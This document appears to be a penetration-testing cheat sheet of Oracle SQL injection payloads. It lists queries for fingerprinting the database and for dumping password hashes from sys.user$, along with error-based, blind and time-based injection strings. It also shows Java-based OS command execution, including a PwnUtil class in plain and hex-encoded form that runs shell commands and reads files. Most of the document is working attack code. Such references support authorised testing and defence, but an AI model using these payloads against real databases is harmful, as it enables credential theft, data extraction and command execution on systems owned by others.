# Oracle SQL Injection

> Oracle SQL Injection  is a type of security vulnerability that arises when attackers can insert or "inject" malicious SQL code into SQL queries executed by Oracle Database. This can occur when user inputs are not properly sanitized or parameterized, allowing attackers to manipulate the query logic. This can lead to unauthorized access, data manipulation, and other severe security implications.


## Summary

* [Oracle SQL Default Databases](#oracle-sql-default-databases)
* [Oracle SQL Comments](#oracle-sql-comments)
* [Oracle SQL Version](#oracle-sql-version)
* [Oracle SQL Hostname](#oracle-sql-hostname)
* [Oracle SQL Database Name](#oracle-sql-database-name)
* [Oracle SQL Database Credentials](#oracle-sql-database-credentials)
* [Oracle SQL List databases](#oracle-sql-list-databases)
* [Oracle SQL List columns](#oracle-sql-list-columns)
* [Oracle SQL List tables](#oracle-sql-list-tables)
* [Oracle SQL Error Based](#oracle-sql-error-based)
* [Oracle SQL Blind](#oracle-sql-blind)
* [Oracle SQL Time Based](#oracle-sql-time-based)
* [Oracle SQL Command execution](#oracle-sql-command-execution)
* [References](#references)


## Oracle SQL Default Databases

| Name               | Description               |
|--------------------|---------------------------|
| SYSTEM             | Available in all versions |
| SYSAUX             | Available in all versions |


## Oracle SQL Comments

| Type                       | Description                       |
|----------------------------|-----------------------------------|
| `-- -`                     | SQL comment                       |


## Oracle SQL Version

```sql
SELECT user FROM dual UNION SELECT * FROM v$version
SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
SELECT banner FROM v$version WHERE banner LIKE 'TNS%';
SELECT version FROM v$instance;
```


## Oracle SQL Hostname

```sql
SELECT host_name FROM v$instance; (Privileged)
SELECT UTL_INADDR.get_host_name FROM dual;
SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual;
SELECT UTL_INADDR.get_host_address FROM dual;
```


## Oracle SQL Database Name

```sql
SELECT global_name FROM global_name;
SELECT name FROM V$DATABASE;
SELECT instance_name FROM V$INSTANCE;
SELECT SYS.DATABASE_NAME FROM DUAL;
```


## Oracle SQL Database Credentials

| Query                                   | Description               |
|-----------------------------------------|---------------------------|
| `SELECT username FROM all_users;`       | Available on all versions |
| `SELECT name, password from sys.user$;` | Privileged, <= 10g        |
| `SELECT name, spare4 from sys.user$;`   | Privileged, <= 11g        |


## Oracle SQL List Databases

```sql
SELECT DISTINCT owner FROM all_tables;
```


## Oracle SQL List Columns

```sql
SELECT column_name FROM all_tab_columns WHERE table_name = 'blah';
SELECT column_name FROM all_tab_columns WHERE table_name = 'blah' and owner = 'foo';
```


## Oracle SQL List Tables

```sql
SELECT table_name FROM all_tables;
SELECT owner, table_name FROM all_tables;
SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE '%PASS%';
```


## Oracle SQL Error based

| Description           | Query          |
| :-------------------- | :------------- |
| Invalid HTTP Request  | `SELECT utl_inaddr.get_host_name((select banner from v$version where rownum=1)) FROM dual` |
| CTXSYS.DRITHSX.SN     | `SELECT CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1)) FROM dual` |
| Invalid XPath         | `SELECT ordsys.ord_dicom.getmappingxpath((select banner from v$version where rownum=1),user,user) FROM dual` |
| Invalid XML           | `SELECT to_char(dbms_xmlgen.getxml('select "'&#124;&#124;(select user from sys.dual)&#124;&#124;'" FROM sys.dual')) FROM dual` |
| Invalid XML           | `SELECT rtrim(extract(xmlagg(xmlelement("s", username &#124;&#124; ',')),'/s').getstringval(),',') FROM all_users` |
| SQL Error             | `SELECT NVL(CAST(LENGTH(USERNAME) AS VARCHAR(4000)),CHR(32)) FROM (SELECT USERNAME,ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=1))` |
| XDBURITYPE getblob    | `XDBURITYPE((SELECT banner FROM v$version WHERE banner LIKE 'Oracle%')).getblob()` |
| XDBURITYPE getclob    | `XDBURITYPE((SELECT table_name FROM (SELECT ROWNUM r,table_name FROM all_tables ORDER BY table_name) WHERE r=1)).getclob()` |

When the injection point is inside a string use : `'||PAYLOAD--`


## Oracle SQL Blind

| Description              | Query          |
| :----------------------- | :------------- |
| Version is 12.2	       | `SELECT COUNT(*) FROM v$version WHERE banner LIKE 'Oracle%12.2%';` |
| Subselect is enabled	   | `SELECT 1 FROM dual WHERE 1=(SELECT 1 FROM dual)` |
| Table log_table exists   | `SELECT 1 FROM dual WHERE 1=(SELECT 1 from log_table);` |
| Column message exists in table log_table | `SELECT COUNT(*) FROM user_tab_cols WHERE column_name = 'MESSAGE' AND table_name = 'LOG_TABLE';` |
| First letter of first message is t | `SELECT message FROM log_table WHERE rownum=1 AND message LIKE 't%';` |


## Oracle SQL Time based

```sql
AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) 
```


## Oracle SQL Command Execution

* [ODAT (Oracle Database Attacking Tool)](https://github.com/quentinhardy/odat)

### Oracle Java Execution

* List Java privileges
    ```sql
    select * from dba_java_policy
    select * from user_java_policy
    ```
* Grant privileges
    ```sql
    exec dbms_java.grant_permission('SCOTT', 'SYS:java.io.FilePermission','<<ALL FILES>>','execute');
    exec dbms_java.grant_permission('SCOTT','SYS:java.lang.RuntimePermission', 'writeFileDescriptor', '');
    exec dbms_java.grant_permission('SCOTT','SYS:java.lang.RuntimePermission', 'readFileDescriptor', '');
    ```
* Execute commands
    * 10g R2, 11g R1 and R2: `DBMS_JAVA_TEST.FUNCALL()`
    ```sql
    SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','c:\\windows\\system32\\cmd.exe','/c', 'dir >c:\test.txt') FROM DUAL
    SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','/bin/bash','-c','/bin/ls>/tmp/OUT2.LST') from dual
    ```
    * 11g R1 and R2: `DBMS_JAVA.RUNJAVA()`
    ```sql
    SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper /bin/bash -c /bin/ls>/tmp/OUT.LST') FROM DUAL
    ```


### Oracle Java Class

```sql
/* create Java class */
BEGIN
EXECUTE IMMEDIATE 'create or replace and compile java source named "PwnUtil" as import java.io.*; public class PwnUtil{ public static String runCmd(String args){ try{ BufferedReader myReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args).getInputStream()));String stemp, str = "";while ((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;} catch (Exception e){ return e.toString();}} public static String readFile(String filename){ try{ BufferedReader myReader = new BufferedReader(new FileReader(filename));String stemp, str = "";while((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;} catch (Exception e){ return e.toString();}}};';
END;
/

BEGIN
EXECUTE IMMEDIATE 'create or replace function PwnUtilFunc(p_cmd in varchar2) return varchar2 as language java name ''PwnUtil.runCmd(java.lang.String) return String'';';
END;
/

/* run OS command */
SELECT PwnUtilFunc('ping -c 4 localhost') FROM dual;
```

or (hex encoded)

```sql
/* create Java class */
SELECT TO_CHAR(dbms_xmlquery.getxml('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate utl_raw.cast_to_varchar2(hextoraw(''637265617465206f72207265706c61636520616e6420636f6d70696c65206a61766120736f75726365206e616d6564202270776e7574696c2220617320696d706f7274206a6176612e696f2e2a3b7075626c696320636c6173732070776e7574696c7b7075626c69632073746174696320537472696e672072756e28537472696e672061726773297b7472797b4275666665726564526561646572206d726561643d6e6577204275666665726564526561646572286e657720496e70757453747265616d5265616465722852756e74696d652e67657452756e74696d6528292e657865632861726773292e676574496e70757453747265616d282929293b20537472696e67207374656d702c207374723d22223b207768696c6528287374656d703d6d726561642e726561644c696e6528292920213d6e756c6c29207374722b3d7374656d702b225c6e223b206d726561642e636c6f736528293b2072657475726e207374723b7d636174636828457863657074696f6e2065297b72657475726e20652e746f537472696e6728293b7d7d7d''));
EXECUTE IMMEDIATE utl_raw.cast_to_varchar2(hextoraw(''637265617465206f72207265706c6163652066756e6374696f6e2050776e5574696c46756e6328705f636d6420696e207661726368617232292072657475726e207661726368617232206173206c616e6775616765206a617661206e616d65202770776e7574696c2e72756e286a6176612e6c616e672e537472696e67292072657475726e20537472696e67273b'')); end;')) results FROM dual

/* run OS command */
SELECT PwnUtilFunc('ping -c 4 localhost') FROM dual;
```

## References

- [ASDC12 - New and Improved Hacking Oracle From Web - Sumit “sid” Siddharth - November 8, 2021](https://web.archive.org/web/20211108150011/https://owasp.org/www-pdf-archive/ASDC12-New_and_Improved_Hacking_Oracle_From_Web.pdf)
- [Error Based Injection | NetSPI SQL Injection Wiki - NetSPI - February 15, 2021](https://sqlwiki.netspi.com/injectionTypes/errorBased/#oracle)
- [ODAT: Oracle Database Attacking Tool - quentinhardy - March 24, 2016](https://github.com/quentinhardy/odat/wiki/privesc)
- [Oracle SQL Injection Cheat Sheet - @pentestmonkey - August 30, 2011](http://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet)
- [Pentesting Oracle TNS Listener - HackTricks - July 19, 2024](https://book.hacktricks.xyz/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener)
- [The SQL Injection Knowledge Base - Roberto Salgado - May 29, 2013](https://www.websec.ca/kb/sql_injection#Oracle_Default_Databases)